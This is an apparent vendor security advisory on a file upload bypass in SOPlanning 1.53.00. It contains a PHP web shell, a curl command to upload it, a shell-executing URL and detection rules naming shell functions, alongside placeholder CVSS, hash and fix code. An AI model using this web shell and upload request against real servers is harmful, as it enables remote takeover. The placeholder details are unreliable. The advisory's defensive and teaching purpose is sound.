CVE-2024-57169

Executive Summary

CVE-2024-57169 is a critical file upload bypass vulnerability in SOPlanning version 1.53.00, specifically within the /process/upload.php endpoint. This flaw allows remote, unauthenticated attackers to bypass file type restrictions and upload arbitrary files, including web shells, leading to potential remote code execution (RCE) on the underlying server. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the ease of exploitation and lack of authentication requirements. No official patch or vendor response has been identified, leaving all instances of SOPlanning 1.53.00 exposed. Public proof-of-concept (PoC) code exists, increasing the risk of widespread exploitation.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. SOPlanning is a standalone PHP application, and the risk is confined to direct deployments of the software.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full file read access possible.
• Integrity (I): High (H) – Arbitrary file upload and modification.
• Availability (A): High (H) – Potential for denial of service or full system compromise.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public PoC makes this a high-priority vulnerability for any organization using SOPlanning.

Deep Dive & Mechanics

The vulnerability resides in /process/upload.php. The application attempts to restrict file uploads to specific types (e.g., images, documents) by checking the file extension or MIME type. However, the validation logic is flawed and can be bypassed using several techniques:

1. Double Extension: Uploading a file named shell.php.jpg may pass extension checks if the code only validates the last extension.
2. MIME Type Spoofing: The server may rely on the Content-Type header sent by the client, which can be easily manipulated (e.g., changing application/x-php to image/jpeg).
3. Null Byte Injection: In older PHP versions, a null byte (%00) in the filename could truncate the extension check (e.g., shell.php%00.jpg).
4. Path Traversal: The upload path may be controllable, allowing files to be written to the web root or other executable directories.

Once a malicious file (e.g., a PHP web shell) is uploaded, an attacker can access it directly via the web server, execute arbitrary commands, and gain full control of the application and potentially the server.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is the only reference. The following is a simplified representation of the flawed validation in /process/upload.php:

Vulnerable Code (SOPlanning 1.53.00):

<?php
$allowed_extensions = array('jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx');
$filename = $_FILES['file']['name'];
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (in_array($ext, $allowed_extensions)) {
    move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
    echo "File uploaded successfully.";
} else {
    echo "Invalid file type.";
}
?>

Patched Code (Hypothetical Fix):

<?php
$allowed_extensions = array('jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx');
$filename = basename($_FILES['file']['name']);
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
// Reject double extensions and hidden files
if (preg_match('/^[a-zA-Z0-9_-]+\.(jpg|jpeg|png|gif|pdf|doc|docx)$/', $filename) && in_array($ext, $allowed_extensions)) {
    // Validate MIME type server-side
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
    finfo_close($finfo);
    $allowed_mimes = array('image/jpeg', 'image/png', 'image/gif', 'application/pdf', 'application/msword', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document');
    if (in_array($mime, $allowed_mimes)) {
        $new_filename = uniqid() . '.' . $ext;
        move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $new_filename);
        echo "File uploaded successfully.";
    } else {
        echo "Invalid file type.";
    }
} else {
    echo "Invalid file name.";
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running SOPlanning 1.53.00.
• Access to the /process/upload.php endpoint (typically at http://target/soplanning/process/upload.php).

Exploitation Steps:

1. Craft a Malicious File: Create a PHP web shell (e.g., shell.php) with content:

   <?php system($_GET['cmd']); ?>
   

2. Bypass Upload Restrictions: Use a tool like curl to send a crafted request with a manipulated filename and MIME type:

   curl -X POST -F "file=@shell.php;filename=shell.php.jpg" -F "Content-Type=image/jpeg" http://target/soplanning/process/upload.php
   

3. Access the Uploaded Shell: The file may be stored in the uploads/ directory. Access it via:

   http://target/soplanning/uploads/shell.php.jpg?cmd=id
   

4. Execute Commands: The server will execute the PHP code and return the output of the id command.

Alternative Payloads:

• Use a double extension: shell.php.jpg
• Use null byte injection (if PHP < 5.3.4): shell.php%00.jpg
• Use a .htaccess file to enable PHP execution in the uploads directory.

Blue Team (Defensive)

Detection and Response:

1. Monitor Upload Endpoints: Log all requests to /process/upload.php and inspect for suspicious filenames (e.g., double extensions, PHP extensions).
2. File Integrity Monitoring: Use tools like Tripwire or AIDE to detect new files in the uploads directory.
3. Web Application Firewall (WAF): Deploy rules to block requests with multiple extensions or non-standard MIME types.
4. Network Segmentation: Isolate the SOPlanning server from critical internal networks.
5. Regular Scanning: Use vulnerability scanners to identify instances of SOPlanning 1.53.00.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.php.jpg: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• Network Indicators:
  • POST requests to /process/upload.php with Content-Type: image/jpeg but containing PHP code.
  • Outbound connections from the server to unknown IPs (e.g., for reverse shells).
• File System Indicators:
  • Unexpected files in the uploads/ directory with .php, .phtml, .php5, or .shtml extensions.
  • Presence of .htaccess files in the uploads directory.
• Log Entries:
  • Apache/Nginx access logs showing POST /soplanning/process/upload.php with unusual User-Agent strings.
  • PHP error logs indicating failed move_uploaded_file attempts.

Detection Engineering

YARA Rule

rule CVE_2024_57169_SOPlanning_Upload_Bypass {
    meta:
        description = "Detects malicious PHP files uploaded via SOPlanning CVE-2024-57169"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-57169"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec_call = "exec("
        $passthru = "passthru("
        $backtick = "`"
    condition:
        $php_tag and any of ($system_call, $shell_exec, $exec_call, $passthru, $backtick)
}

Sigma Rule

title: SOPlanning File Upload Bypass (CVE-2024-57169)
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2024-57169 by uploading files with suspicious extensions or MIME types.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/process/upload.php'
        cs-uri-query|contains: 
            - '.php'
            - '.phtml'
            - '.php5'
    condition: selection
falsepositives:
    - Legitimate file uploads with PHP extensions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57169 SOPlanning File Upload Bypass"; flow:to_server,established; content:"POST"; http_method; content:"/process/upload.php"; http_uri; content:"filename"; nocase; pcre:"/\.(php|phtml|php5|shtml)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable File Uploads: If possible, disable the upload functionality entirely by removing or renaming /process/upload.php.
2. Restrict Access: Use .htaccess or firewall rules to restrict access to the upload endpoint to trusted IPs only.
3. Apply Virtual Patching: Use a WAF to block requests with suspicious filenames or MIME types.

Long-Term Fixes:

1. Upgrade SOPlanning: Monitor the vendor for an official patch. If none is forthcoming, consider migrating to an alternative planning tool.
2. Code Hardening: Implement server-side validation of file extensions, MIME types, and file content. Use a whitelist approach and rename uploaded files to prevent direct execution.
3. Web Server Configuration: Disable PHP execution in the uploads directory by adding the following to the Apache configuration:

   <Directory /path/to/uploads>
       php_admin_flag engine off
   </Directory>
   

4. Regular Security Audits: Conduct periodic code reviews and penetration tests on the application.

Valters IT
Securing Digital Frontiers